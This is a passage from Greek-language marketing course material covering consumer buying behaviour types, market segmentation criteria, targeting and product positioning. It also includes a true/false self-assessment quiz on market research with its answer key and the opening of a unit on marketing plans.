εγρήγορση και να εξασφαλίσει ότι ο καταναλωτής έχει πρόσβαση στις πληροφορίες που είναι γι’ αυτόν σημαντικές, προκειμένου να επιλέξει μάρκα. Τέτοιες πληροφορίες είναι διαθέσιμες στον καταναλωτή μέσω των διαφημίσεων, της συσκευασίας των προϊόντων, των ιστοσελίδων των επιχειρήσεων, των μέσων κοινωνικής δικτύωσης (π.χ., facebook, twitter), των προωθητικών ενεργειών κ.λπ. ▶ Αυτόματη λήψη αποφάσεων ή από συνήθεια (routinized decision making): Η λήψη αγοραστικών αποφάσεων από συνήθεια είναι η διαδικασία με τη μικρότερη προσπάθεια σε χρόνο ενασχόλησης, τη συλλογή πληροφοριών και γενικά τον κόπο επιλογής μιας μάρκας. Όταν αναφερόμαστε σε προϊόντα των οποίων η αγορά βασίζεται στην αυτόματη λήψη απόφασης, ο καταναλωτής δεν έχει κανένα κίνητρο να αναζητήσει νέες πληροφορίες, αφού οι διεργασίες αγοράς βασίζονται σε προηγούμενες εμπειρίες οι οποίες ανακαλούνται στη μνήμη του. Στην περίπτωση αυτή, η στρατηγική μάρκετινγκ που πρέπει να ακολουθηθεί εξαρτάται από τη θέση της επιχείρησης στην αγορά. Πιο συγκεκριμένα, οι επιχειρήσεις που διαθέτουν χαμηλό μερίδιο αγοράς θα μπορούσαν πιθανόν να «σπάσουν» την αγοραστική διαδικασία από συνήθεια με την έντονη χρήση προωθητικών ενεργειών, ιδίως στα σημεία πώλησης, με καλύτερη τοποθέτηση στο ράφι (merchandising), κάνοντας έτσι αισθητή την παρουσία τους και αποσπώντας την προσοχή του καταναλωτή. Βέβαια, είναι κρίσιμο να μπορεί η επιχείρηση να παρουσιάσει μία εναλλακτική πρόταση, κάτι το διαφορετικό από τις υπάρχουσες ανταγωνιστικές μάρκες, μία «βελτιωμένη έκδοση». Από την άλλη μεριά, οι ισχυρές επιχειρήσεις με υψηλό μερίδιο αγοράς έχουν συμφέρον από μία αυτόματη λήψη αγοραστικών αποφάσεων κατά την οποία ο καταναλωτής δεν εξετάζει εναλλακτικές μάρκες. Στην περίπτωση αυτή, η επιχείρηση θα πρέπει να εξασφαλίσει την ορθή διαχείριση της εφοδιαστικής αλυσίδας (logistics) επιτυγχάνοντας τη συνεχή παρουσία της στο κατάλληλο ράφι (σε συνδυασμό με υπενθυμιστική διαφήμιση

ενισχυτική της εικόνας της), αποφεύγοντας το φαινόμενο του «άδειου ραφιού», το οποίο θα ωθούσε τον καταναλωτή να χρησιμοποιήσει μία εναλλακτική μάρκα. Από τα παραπάνω γίνεται κατανοητό ότι οι τρεις τύποι αγοραστικών αποφάσεων (εκτεταμένη, περιορισμένη, αυτόματη) συνδέονται άρρηκτα με τους τρεις βαθμούς ανάμειξης του καταναλωτή (υψηλή, μέτρια, χαμηλή). Ειδικότερα, έχει βρεθεί ότι οι καταναλωτές που επιδεικνύουν υψηλή ανάμειξη αφιερώνουν περισσότερο χρόνο, προσοχή και προσπάθεια όταν αναζητούν και επεξεργάζονται περισσότερες προϊοντικές πληροφορίες, αξιολογούν διάφορες μάρκες και γενικά εμπλέκονται σε πιο πολύπλοκες αγοραστικές διαδικασίες σε σχέση με τους καταναλωτές που έχουν χαμηλή ανάμειξη.

Τύποι αγοραστικής συμπεριφοράς Η αγοραστική συμπεριφορά ενός καταναλωτή μπορεί να διαφέρει ανάλογα με τον βαθμό ανάμειξής του με ένα προϊόν, αλλά και την ύπαρξη μεγάλων ή μικρών διαφορών μεταξύ των εναλλακτικών μαρκών τις οποίες αξιολογεί. Με βάση αυτές τις δύο διαστάσεις, ο Assael διακρίνει τους ακόλουθους τέσσερις τύπους αγοραστικής συμπεριφοράς (σχήμα 5.3): 1. Πολύπλοκη αγοραστική συμπεριφορά Στην περίπτωση που ο βαθμός ανάμειξης του καταναλωτή με το προϊόν είναι υψηλός και υπάρχουν μεγάλες διαφορές μεταξύ των μαρκών, η αγοραστική συμπεριφορά

χαρακτηρίζεται ως πολύπλοκη. Στην περίπτωση αυτή ο καταναλωτής συνήθως δεν διαθέτει μεγάλη πληροφόρηση για τις συγκεκριμένες μάρκες προϊόντων, αλλά θεωρεί ότι υπάρχουν σημαντικές διαφορές μεταξύ τους και έτσι καταφεύγει σε μία εκτεταμένη λήψη αγοραστικών αποφάσεων.

2. Αγοραστική συμπεριφορά μείωσης της ασυμφωνίας Όταν ο βαθμός ανάμειξης του καταναλωτή με το προϊόν είναι υψηλός, αλλά δεν υπάρχουν μεγάλες διαφορές μεταξύ των μαρκών, η αγοραστική συμπεριφορά χαρακτηρίζεται ως συμπεριφορά μείωσης της ασυμφωνίας/ αμφιβολίας. Ο καταναλωτής συμμετέχει ενεργά στην αγοραστική διαδικασία και σε κάποια στιγμή, αφού έχει λάβει και εφαρμόσει την απόφαση αγοράς, συνειδητοποιεί ότι η μάρκα που επέλεξε δεν εμφανίζει σημαντικές διαφορές με τις υπόλοιπες μάρκες. Σε αυτή την περίπτωση, η επιχείρηση θα πρέπει να επέμβει στην μετά-αγοραστική συμπεριφορά του καταναλωτή μέσω διαφημίσεων με τα κατάλληλα μηνύματα και να μειώσει τις αμφιβολίες που τυχόν έχει για τη μάρκα που επέλεξε. 3. Αγοραστική συμπεριφορά αναζήτησης της ποικιλίας Στην περίπτωση που ο βαθμός ανάμειξης του καταναλωτή με το προϊόν είναι χαμηλός και υπάρχουν μεγάλες διαφορές μεταξύ των μαρκών, η αγοραστική συμπεριφορά χαρακτηρίζεται ως συμπεριφορά αναζήτησης της ποικιλίας. Σε αυτή την περίπτωση ο καταναλωτής πειραματίζεται με νέες μάρκες περισσότερο ως αποτέλεσμα αναζήτησης της ποικιλίας, παρά ως έλλειψη ικανοποίησης από άλλες μάρκες. 4. Αγοραστική συμπεριφορά από συνήθεια Όταν ο βαθμός ανάμειξης του καταναλωτή με το προϊόν είναι χαμηλός, και παράλληλα δεν υπάρχουν μεγάλες διαφορές μεταξύ των μαρκών, η αγοραστική συμπεριφορά χαρακτηρίζεται ως συμπεριφορά από συνήθεια. Η συγκεκριμένη αγοραστική συμπεριφορά παρατηρείται όταν το προϊόν δεν έχει μεγάλη αξία (συμβολική ή και χρηματική) για τον καταναλωτή. Οι καταναλωτές επιδίδονται στην αγορά τέτοιων προϊόντων από συνήθεια, χωρίς να αναζητούν επιπλέον πληροφορίες, ούτε να αξιολογούν τις επιμέρους

μάρκες αναζητώντας κάποια που να είναι ανώτερη. Σε αυτή τη μορφή αγοραστικής συμπεριφοράς, οι διαφημίσεις στις οποίες εκτίθενται οι καταναλωτές μπορεί να δημιουργήσουν οικειότητα με τη μάρκα και τελικά να την επιλέξουν, γιατί τους είναι περισσότερο γνώριμη.

Εισαγωγή στη Διαδικασία Τμηματοποίηση της Αγοράς Στην ενότητα αυτή θα παρουσιαστούν οι βασικές αρχές του μάρκετινγκ και οι επικρατέστεροι ορισμοί του στην Ακαδημαϊκή και στην Επιχειρηματική κοινότητα. Θα εξεταστεί η εφαρμογή του μάρκετινγκ σε διαφορετικές επιχειρήσεις και οργανισμούς, ανάλογα με το αντικείμενο λειτουργίας τους, και θα γίνει σαφές ότι ο Πελατοκεντρισμός και η ικανοποίηση του πελάτη είναι η βασικότερη έννοια του σύγχρονου μάρκετινγκ. Εφόσον η αγορά-στόχος (target group) έχει προσδιοριστεί, η επιχείρηση έχει τη δυνατότητα να διαμορφώσει μια συνολική πρόταση μάρκετινγκ για την επιλεγμένη αγορά-στόχος η οποία θα καλύπτει τις ανάγκες της συγκεκριμένης αγοράς-στόχου.

Τρίτο βήμα αποτελεί η

τοποθέτηση του προϊόντος της επιχείρησης στο μυαλό των καταναλωτών μέσω ενός μείγματος μάρκετινγκ. Στην υποενότητα αυτή θα εξετάσουμε την αναγκαιότητα της διαδικασίας αυτής στο σύγχρονο Μάρκετινγκ και θα γίνει εισαγωγή στις έννοιες Τμηματοποίηση, Στόχευση και Τοποθέτηση, ως τρία διακριτά βήματα του σχεδιασμού μάρκετινγκ. Η σύγχρονη αντίληψη του μάρκετινγκ στηρίζεται κατά κύριο λόγο στην ικανοποίηση των αναγκών των πελατών χρηστών κι όχι απλά στην παραγωγή και πώληση προϊόντων. Οι επιχειρήσεις στα πλαίσια ενός σωστού σχεδιασμού μάρκετινγκ οφείλουν να προβούν σε τμηματοποίηση της αγοράς καθώς δεν λειτουργεί η έννοια του μαζικού Marketing (mass marketing), δηλαδή τα προϊόντα ή οι υπηρεσίες που παράγει ή εμπορεύεται μια επιχείρηση δεν είναι δυνατόν να ικανοποιούν τις ανάγκες του συνόλου της αγοράς αλλά μόνο ορισμένων τμημάτων της (targeted marketing). Κατά συνέπεια, για να μπορέσει μια επιχείρηση να αποκτήσει συγκριτικά πλεονεκτήματα έναντι των ανταγωνιστών της, πρέπει να προσδιορίσει με ακρίβεια τα τμήματα της αγοράς στα οποία θα επικεντρώσει τη δράση της. Πρέπει δηλαδή να προσδιορίσει τις αγορέςστόχους της. Για να το πετύχει αυτό, πρέπει: 1. Κατ’ αρχήν, ως πρώτο βήμα, να τμηματοποιήσει την αγορά στην οποία δραστηριοποιείται.

2. Κατόπιν, ως δεύτερο βήμα, η επιχείρηση πρέπει να επιλέξει αυτή την ομάδα που παρουσιάζει τις καλύτερες ευκαιρίες και στις οποία τελικά θα στοχεύσει, δηλαδή την αγοράστόχος (target group). 3. Τέλος, ως τρίτο βήμα, η επιχείρηση πρέπει να δημιουργήσει μία προϊοντική προσφορά κατάλληλη και στοχευμένη για τη συγκεκριμένη αγορά-στόχος, δηλαδή να τοποθετήσει το προϊόν της στο μυαλό των καταναλωτών που έχει επιλέξει με το κατάλληλο μείγμα μάρκετινγκ (το οποίο θα εξεταστεί αναλυτικά στην επόμενη ενότητα). Ως τμηματοποίηση ορίζεται ο «τεμαχισμός», η διαίρεση της αγοράς σε διακριτά υποσύνολα αγοραστών με ομοιογενείς ανάγκες, χαρακτηριστικά & συμπεριφορές, βάσει συγκεκριμένων κριτηρίων. Κάθε αγορά έχει διακριτά υποσύνολα (τμήματα) και κάθε επιχείρηση πρέπει να διερευνήσει τα χαρακτηριστικά και τις ανάγκες των δυνητικών πελατών της και να τους ομαδοποιήσει με βάση συγκεκριμένα κριτήρια.

Κριτήρια Τμηματοποίησης Της Αγοράς Καταναλωτικών Προϊόντων Η τμηματοποίηση της αγοράς καταναλωτικών προϊόντων γίνεται με κριτήρια που έχουν σχέση με τα χαρακτηριστικά και τις συνήθειες των τελικών καταναλωτών ή με τα χαρακτηριστικά των προϊόντων και των ωφελειών που αυτά προσφέρουν, ώστε να προκύψουν ομάδες καταναλωτών με ομοιογενείς ανάγκες, χαρακτηριστικά & συμπεριφορές. Χρησιμοποιούνται γεωγραφικά, δημογραφικά, ψυχογραφικά και προϊόντικα κριτήρια και διακρίνουμε τις παρακάτω μορφές τμηματοποίησης. Ο προσδιορισμός των διαφόρων τμημάτων της αγοράς γίνεται σύμφωνα με τα δημογραφικά χαρακτηριστικά των καταναλωτών, όπως: 1. Ηλικία 2. Φύλο 3. Εισόδημα 4. Επάγγελμα (απασχόληση) 5. Επίπεδο μόρφωσης (σε χρόνια σπουδών Προσδιορισμός των διαφόρων τμημάτων της αγοράς γίνεται σύμφωνα με: •

Καταγωγή (ή εθνικότητα, ή φυλή)

•

Θρήσκευμα

•

Οικογενειακή κατάσταση (έγγαμος, άγαμος, αριθμός παιδιών)

•

Τόπος κύριας κατοικίας

•

Κοινωνική ομάδα

Η τμηματοποίηση της αγοράς με δημογραφικά κριτήρια χρησιμοποιείται ευρέως από τις επιχειρήσεις, καθώς τα δημογραφικά στοιχεία είναι εύκολα προσβάσιμα. Καταγράφονται σε διάφορες στατιστικές (π.χ. απογραφή πληθυσμού) και άρα μπορούν εύκολα να αναζητηθούν. Γεωγραφική Τμηματοποίηση Ο προσδιορισμός των διαφόρων τμημάτων της αγοράς γίνεται με βάση τη γεωγραφική κατανομή των καταναλωτών, τον τόπο διαμονής τους ή τα ιδιαίτερα χαρακτηριστικά της περιοχής, όπως: • Ευρύτερη περιοχή (π.χ. αστική, ημιαστική, αγροτική) • Μέγεθος πόλης (π.χ. μεγαλούπολη, κωμόπολη, χωριό) • Πυκνότητα πληθυσμού (π.χ. υψηλή, μέτρια, αραιή) • Κλίμα (π.χ. θερμό, ήπιο, ψυχρό) • Διαμόρφωση εδάφους (π.χ. νησί, πεδινό, ημιορεινό, ορεινό) Ψυχογραφική Τμηματοποίηση Ο προσδιορισμός των διαφόρων τμημάτων της αγοράς γίνεται σύμφωνα με τα ψυχογραφικά χαρακτηριστικά των καταναλωτών, όπως: Προσωπικότητα Δραστήριοι ή ήπιοι χαρακτήρες Ανεξάρτητοι Εσωστρεφείς ή εξωστρεφείς Ανήσυχοι Επιπλέον ψυχογραφικά χαρακτηριστικά: • Κοινωνικοί • Συντηρητικοί • Προσαρμοστικοί • Εκδηλωτικοί • Μοναχικοί ή της παρέας, κλπ Τρόπος Ζωής (Life style) όπως αυτός διαμορφώνεται από: τις δραστηριότητες τους (εργασία, χόμπι, σπορ, ψυχαγωγία κλπ), τα ενδιαφέροντα τους (οικογένεια, ελεύθερος χρόνος, τέχνες και επιστήμες, πολιτική, αθλητισμός, οικολογία κλπ) τη γνώμη που έχουν για τον εαυτό τους, τα κοινωνικά ή πολιτικά θέματα κλπ Π.χ. η εταιρία ΑGΒ που μετράει την τηλεθέαση κατατάσσει τους τηλεθεατές σε εννέα διαφορετικές ομάδες όπου

πρώτη ομάδα αποτελείται από τους τηλεθεατές που

χαρακτηρίζονται ως «οικιακοί». Τα άτομα που συμπεριλαμβάνονται σε αυτή την ομάδα

διακρίνονται για την οικοκεντρική τους αντίληψη (οικογένεια, παιδιά, αίσθημα ασφάλειας μέσα από τη διατήρηση της παράδοσης, άρνηση του καινούργιου και των πειραματισμών). Μια άλλη ομάδα τηλεθεατών που χαρακτηρίζονται ως «ανικανοποίητοι» συνηθίζουν να υιοθετούν ταυτοχρόνως παραδοσιακές, συντηρητικές και σύγχρονες θέσεις, οδηγούμενοι πάντα από την τάση να ικανοποιήσουν τις συνεχώς διευρυνόμενες ανάγκες τους και τις απραγματοποίητες επιθυμίες τους. Απορρίπτουν τα σύγχρονα πρότυπα αγοραστικής και καταναλωτικής συμπεριφοράς -παρόλο που τα ακολουθούν- ,αντιδρούν στη διαφήμιση και δείχνουν έντονο ενδιαφέρον για την πολιτική. Σε μια άλλη έρευνα που αφορά τις συνήθειες των καταναλωτών ουίσκι αποκαλύπτει ότι η πλειοψηφία τους παρουσιάζει τα εξής χαρακτηριστικά γνωρίσματα τρόπου ζωής: 1. Ταξιδεύει συχνά. 2. Πηγαίνει, εκδρομές τα Σαββατοκύριακα. 3. Περνάει τις περισσότερες ώρες τους εκτός σπιτιού. 4. Πηγαίνει τα βράδια σε μπαράκια. 5. Παρακολουθεί αθλητικές εκδηλώσεις εκτός σπιτιού. 6. Πηγαίνει με φίλους σε ακριβά εστιατόρια. 7. Θέλει ζωή με έντονες συγκινήσεις. Σαν αποτέλεσμα μιας τμηματοποίησης βασισμένης στον τρόπο ζωής, η Triumph δεν πουλάει μοτοσυκλέτες; πουλάει έναν ανεξάρτητο & ελεύθερο τρόπο ζωής, a “Go your own way” lifestyle. Ποσοτική τμηματοποίηση - Ανάλογα με την ποσότητα και τη συχνότητα κατανάλωσης Το σύνολο των καταναλωτών διακρίνεται σε δυο μεγάλες κατηγορίες, τους χρήστες και τους μη χρήστες συγκεκριμένων κατηγοριών προϊόντων (π.χ. καπνιστές και μη καπνιστές ή καταναλωτές αναψυκτικών και μη καταναλωτές αναψυκτικών). Ομοίως, γίνεται διάκριση ανάμεσα στους χρήστες και μη χρήστες συγκεκριμένων μαρκών π.χ. καταναλωτές που καταναλώνουν Coca Cola και καταναλωτές που δεν καταναλώνουν Coca Cola επειδή τη θεωρούν ένα παχυντικό προϊόν. Για αυτούς τους τελευταίους, η Coca Cola λάνσαρε την Coca Cola light ώστε από μη χρήστες να τους μετατρέψει σε χρήστες των αναψυκτικών της. Επίσης, σύμφωνα με την ποσοτική τμηματοποίηση, οι καταναλωτές ενός προϊόντος χωρίζονται σε τρεις κατηγορίες με βάση τις ποσότητες που καταναλώνουν. Οι κατηγορίες αυτές είναι οι: • οι υψηλοί καταναλωτές (heavy users) • οι μέτριοι καταναλωτές (medium users)

• οι χαμηλοί καταναλωτές (light users) Π.χ. οι καταναλωτές του ουίσκι χωρίζονται στις κατηγορίες, υψηλοί, μέτριοι και χαμηλοί ως εξής: οι υψηλοί καταναλωτές πίνουν πάνω από 4 ποτήρια την εβδομάδα οι μέτριοι καταναλωτές πίνουν 2-4 ποτήρια την εβδομάδα οι χαμηλοί καταναλωτές λιγότερα από 2 ποτήρια την εβδομάδα Γνωρίζοντας τα παραπάνω, μία εταιρεία ουίσκι μπορεί να στοχεύσει μέσω διαφορετικών προωθητικών ενεργειών στις διαφορετικές κατηγορίες καταναλωτών ουίσκι.

Τμηματοποίηση σύμφωνα με το προσδοκώμενο όφελος Σύμφωνα με τη μέθοδο αυτή, οι τελικοί καταναλωτές διακρίνονται σε κατηγορίες, ανάλογα με τα οφέλη που προσδοκούν από τη χρήση του προϊόντος. Οι αγοραστές laptop για παράδειγμα, μπορούν να χωριστούν σε τρεις κατηγορίες: • αυτούς που θέλουν ένα απλό laptop, • αυτούς που θέλουν ένα ειδικό laptop ρολόι (π.χ. με γραφικά για παιχνίδια) • αυτούς που θέλουν ένα laptop για επαγγελματική χρήση Κάθε μια από αυτές τις κατηγορίες αγοραστών έχει τα δικά της χαρακτηριστικά γνωρίσματα και φυσικά εκδηλώνει διαφορετικές προτιμήσεις σε ό,τι αφορά την αγορά laptop.

Τμηματοποίηση σύμφωνα με τα χαρακτηριστικά του προϊόντος Η τμηματοποίηση της αγοράς, σύμφωνα με τη μέθοδο αυτή, γίνεται με βάση συγκεκριμένα χαρακτηριστικά ενός προϊόντος, όπως τον τρόπο και την περίσταση χρήσης του προϊόντος, την ευαισθησία των καταναλωτών στη τιμή του, τη πιστότητα σε μια μάρκα, τη διανομή του προϊόντος, κ.ά. Η αγορά χωρίζεται σε τμήματα, σύμφωνα με τις προτιμήσεις των καταναλωτών οι οποίες διαμορφώνονται με κριτήρια, όπως:

•

Τη μορφή του προϊόντος (π.χ. απορρυπαντικό πλυντηρίου σε σκόνη, ταμπλέτες ή υγρό, αυτοκίνητο με δύο, τέσσερις ή πέντε πόρτες).

•

Τη συσκευασία (π.χ. αναψυκτικό σε κουτάκι μπουκάλι ή χάρτινη συσκευασία).

•

Τη γεύση, το άρωμα ή τα χρώματα του προϊόντος.

•

Την τιμή (φτηνά η ακριβά προϊόντα

•

Τη διανομή (επιλεκτική ή ευρεία διανομή) κλπ.

Προϋποθέσεις επιτυχούς τμηματοποίησης

Ανεξάρτητα από το κριτήριο τμηματοποίησης, οι προϋποθέσεις μιας επιτυχούς τμηματοποίησης, που θα επιτρέψει στην εταιρεία να σχεδιάσει τη στρατηγική μάρκετινγκ της είναι: • Ομοιογένεια αγοραστών κάθε τμήματος (πρέπει να αντιδρούν με τον ίδιο τρόπο στα ερεθίσματα μάρκετινγκ) • Οι αγοραστές κάθε τμήματος να διαφέρουν από τους αγοραστές των υπόλοιπων τμημάτων • Τα τμήματα να έχουν το κατάλληλο μέγεθος για να υπάρχει οικονομικό ενδιαφέρον από την στόχευσή τους • Τα τμήματα να μπορούν να προσεγγιστούν μέσω του κατάλληλου μείγματος μάρκετινγκ

Στόχευση Αγοράς-Στόχος (target group) Στην υποενότητα αυτή θα εξετάσουμε το δεύτερο βήμα της διαδικασίας ανάλυσης της αγοράς, που είναι η στόχευση συγκεκριμένου τμήματος της αγοράς, δηλαδή ο προσδιορισμός με ακρίβεια του τμήματος της αγοράς στο οποίο η επιχείρηση θα επικεντρώσει τη δράση της και που αποτελεί την

αγορά-στόχος (target group) της

επιχείρησης Εφόσον τα προϊόντα που προσφέρει μια επιχείρηση δεν μπορούν να ικανοποιήσουν πλήρως τις ανάγκες όλων των ατόμων ή επιχειρήσεων, καθώς αυτές διαφέρουν, η επιχείρηση πρέπει να επιλέξει σε ποιο από τα τμήματα της αγοράς, που έχουν προσδιοριστεί στο προηγούμενο στάδιο της τμηματοποίησης, σκοπεύει να στοχεύσει. Επομένως, ως αγορά – στόχος (target group) ορίζεται μία ομάδα καταναλωτών ή πελατών με ομοιογενείς ανάγκες / επιθυμίες τις οποίες η επιχείρηση αποφασίζει να ικανοποιήσει. Η στόχευση τμήματος της συνολικής αγοράς προϋποθέτει την αξιολόγηση της ελκυστικότητας κάθε τμήματος της αγοράς και των συγκεκριμένων χαρακτηριστικών και αναγκών του (profiling). Για να αποτελέσει ένα τμήμα της αγοράς ελκυστική ευκαιρία για την εκάστοτε επιχείρηση, πρέπει να συγκεντρώνει τουλάχιστον τέσσερα βασικά χαρακτηριστικά: 1. Να έχει ικανοποιητικό μέγεθος. 2. Να έχει μεγάλες δυνατότητες ανάπτυξης στο μέλλον. 3. Να μην ελέγχεται ολόκληρο από τον ανταγωνισμό, ώστε να είναι εύκολη η πρόσβαση σ’ αυτό. 4. Να υπάρχουν σ’ αυτό ανικανοποίητες ανάγκες καταναλωτών, τις οποίες η επιχείρηση έχει τη δυνατότητα να ικανοποιήσει με τα προϊόντα που προσφέρει. Στρατηγικές στόχευσης

Οι πιθανές στρατηγικές στόχευσης κάθε επιχείρησης εξαρτώνται από την ελκυστικότητα του τμήματος της αγοράς, αλλά και τις δυνατότητες της επιχείρησης, τους διαθέσιμους πόρους της και τις στρατηγικές των ανταγωνιστών της. Τοποθέτηση Προϊόντος Ως τοποθέτηση προϊόντος ορίζεται ο τρόπος με τον οποίο ένα προϊόν ή μάρκα, σε μια συνωστισμένη και «ομοιόμορφη» αγορά που κατακλύζεται από μηνύματα, επιτυγχάνει να εξασφαλίσει μια ξεχωριστή θέση στο μυαλό και τη σκέψη ενός υποψήφιου αγοραστή. Τοποθέτηση σημαίνει διαφοροποίηση της μάρκας της επιχείρησης στο μυαλό του καταναλωτή. Είναι το ανταγωνιστικό πλεονέκτημα του προϊόντος ή της μάρκας, δηλαδή ένα πλεονέκτημα έναντι των ανταγωνιστών το οποίο επιτυγχάνεται προσφέροντας μεγαλύτερη αξία στους καταναλωτές. Η διαφοροποίηση ενός προϊόντος μπορεί να προκύψει από οποιοδήποτε χαρακτηριστικό του. Οι βασικές στρατηγικές διαφοροποίησης παρουσιάζονται παρακάτω: 1. Χαρακτηριστικού ή ιδιότητας του προϊόντος: σημείο διαφοροποίησης κάποιο προϊοντικό χαρακτηριστικό. 2. Σχέσης τιμής – ποιότητας: σημείο διαφοροποίησης ο συνδυασμός προσφερόμενης τιμής και αντιληπτής από πλευράς καταναλωτή ποιότητας του προϊόντος. 3. Χρήσης ή εφαρμογής του προϊόντος: σημείο διαφοροποίησης μια ιδιαίτερη χρήση του προϊόντος ή κάποια ιδιαίτερη ανάγκη που ικανοποιεί. 4. Χρήστη του προϊόντος: σημείο διαφοροποίησης η ομάδα καταναλωτών που χρησιμοποιεί το προϊόν. 5. Κατηγορίας προϊόντος: σημείο διαφοροποίησης η δημιουργία μιας νέας κλάσης ή τάξης προϊόντος (π.χ. premium whiskey). 6. Ανταγωνισμού: σημείο διαφοροποίησης η ξεχωριστή φύση του προϊόντος σε σχέση με τους βασικούς ανταγωνιστές. Ο σχεδιασμός αποτελεσματικής τοποθέτησης περιλαμβάνει τα εξής στάδια: • Εντοπισμός θέσεων στην αγορά που έχουν τη μεγαλύτερη αξία για τους στοχευόμενους καταναλωτές • Εντοπισμός θέσεων που έχουν ήδη καταληφθεί • Αξιολόγηση διαθέσιμων θέσεων για τον εντοπισμό εκείνων που ταιριάζουν καλύτερα με τους στόχους και τις δυνατότητες της επιχείρησης • Τοποθέτηση του προϊόντος με συνέπεια • Υποστήριξη της τοποθέτησης με βάση τα χαρακτηριστικά του προϊόντος και την ανάπτυξη του μείγματος μάρκετινγκ.

Σύνοψη Εκπαιδευτικής Ενότητας 15 Στην ενότητα 15, παρουσιάστηκαν αντικείμενα που αναφέρονται: Τάσεις Αγοράς Στάδια Έρευνας αγοράς Τύποι της Έρευνας Αγοράς Είδη της Έρευνας Αγοράς Σύστημα υποστήριξης αποφάσεων μάρκετινγκ Σύστημα Πληροφοριών της Ευρωπαϊκής Ένωσης Στατιστική Έρευνα και Εφαρμογές Τα στάδια της Στατιστικής Έρευνας και ο ρόλος τους

Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 15 Επιλέξτε τη σωστή απάντηση στις παρακάτω ερωτήσεις / διατυπώσεις ΕΡΩΤΗΣΗ

1

Έρευνα αγοράς θεωρείται κάθε οργανωμένη προσπάθεια συλλογής

πληροφοριών σχετικά με την αγορά και τους καταναλωτές. ΑΠΑΝΤΗΣΗ 1

ΕΡΩΤΗΣΗ

2

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Η έρευνα αγοράς μελετά τις καταναλωτικές συνήθειες όλου του

πληθυσμού. ΑΠΑΝΤΗΣΗ 2

ΕΡΩΤΗΣΗ

3

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Η έρευνα αγοράς είναι αναπόσπαστο κομμάτι της επιχειρηματικής

στρατηγικής. ΑΠΑΝΤΗΣΗ 3

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

ΕΡΩΤΗΣΗ

4

Η ανάλυση των δεδομένων περιλαμβάνει την καταγραφή, την

κωδικοποίηση και την επαλήθευση των στοιχείων που συλλέχθηκαν. ΑΠΑΝΤΗΣΗ 4

ΕΡΩΤΗΣΗ

5

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Τα είδη της έρευνας αγοράς είναι πέντε και καθορίζονται από τη φύση

του προβλήματος που η επιχείρηση επιθυμεί να επιλύσει. ΑΠΑΝΤΗΣΗ 5

ΕΡΩΤΗΣΗ

6

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Η Ποιοτική Έρευνα χρησιμοποιείται για τη συλλογή στοιχείων που δεν

μπορούν να παρατηρηθούν και να μετρηθούν άμεσα. ΑΠΑΝΤΗΣΗ 6

ΕΡΩΤΗΣΗ

7

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Η Ποσοτική Έρευνα χρησιμοποιείται για τη συλλογή στοιχείων που δεν

μπορούν να παρατηρηθούν και να μετρηθούν άμεσα. ΑΠΑΝΤΗΣΗ 7

ΕΡΩΤΗΣΗ

8

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Η Μικτή Έρευνα θεωρείται ο συνδυασμός της ποιοτικής και της

ποσοτικής έρευνας. ΑΠΑΝΤΗΣΗ 8

ΕΡΩΤΗΣΗ

9

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Οι Περιοδικές Αναφορές διοχετεύονται στα στελέχη Μάρκετινγκ ανά

τακτά χρονικά διαστήματα. ΑΠΑΝΤΗΣΗ 9

ΕΡΩΤΗΣΗ 10

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Ως έρευνα μάρκετινγκ ορίζεται ο συστηματικός σχεδιασμός, η συλλογή,

η ανάλυση και η αναφορά στοιχείων και διαπιστώσεων που έχουν σχέση με μια συγκεκριμένη περίπτωση μάρκετινγκ που αντιμετωπίζει η εταιρεία. ΑΠΑΝΤΗΣΗ 10

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 15 1:

Απάντηση 1. Α

2:

Απάντηση 2. Β

3:

Απάντηση 3. Α

4:

Απάντηση 4. Α

5:

Απάντηση 5. Β

6:

Απάντηση 6. Α

7:

Απάντηση 7. Β

8:

Απάντηση 8. Α

9:

Απάντηση 9. Α

10:

Απάντηση 10. Α

ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 16: Πλάνο marketing Σκοπός αυτής της εκπαιδευτικής ενότητας είναι η παρουσίαση αντικειμένων που αφορούν το πλάνο και τις στρατηγικές που ακολουθούν οι επιχειρήσεις. ΠΡΟΣΔΟΚΩΜΕΝΑ ΑΠΟΤΕΛΕΣΜΑΤΑ Όταν ολοκληρώσετε τη μελέτη του υλικού αυτής της εκπαιδευτικής ενότητας θα έχετε αποκτήσει γνώσεις και δεξιότητες που αναφέρονται: Στρατηγικός σχεδιασμός Επιχειρηματική Στρατηγική Η αλυσίδα αξίας της επιχείρησης Στάδιο δημιουργίας μιας στρατηγικής Η Οργανωτική δομή της επιχείρησης Η Κουλτούρα της επιχείρησης Κριτήρια αποτελεσματικού ελέγχου Προβλήματα στην αξιολόγηση και τον έλεγχο Η προσέγγιση του balanced scorecard Βασικές διαστάσεις του balanced scorecard Πλεονεκτήματα του balanced scorecard Παρουσίαση Επιχείρησης - Στρατηγική Ανάλυση Στρατηγική μικρομεσαίων επιχειρήσεων ΕΝΝΟΙΕΣ – ΚΛΕΙΔΙΑ Strengths, Weaknesses, Threats, Opportunities, cost leadership, differentiation, focus.

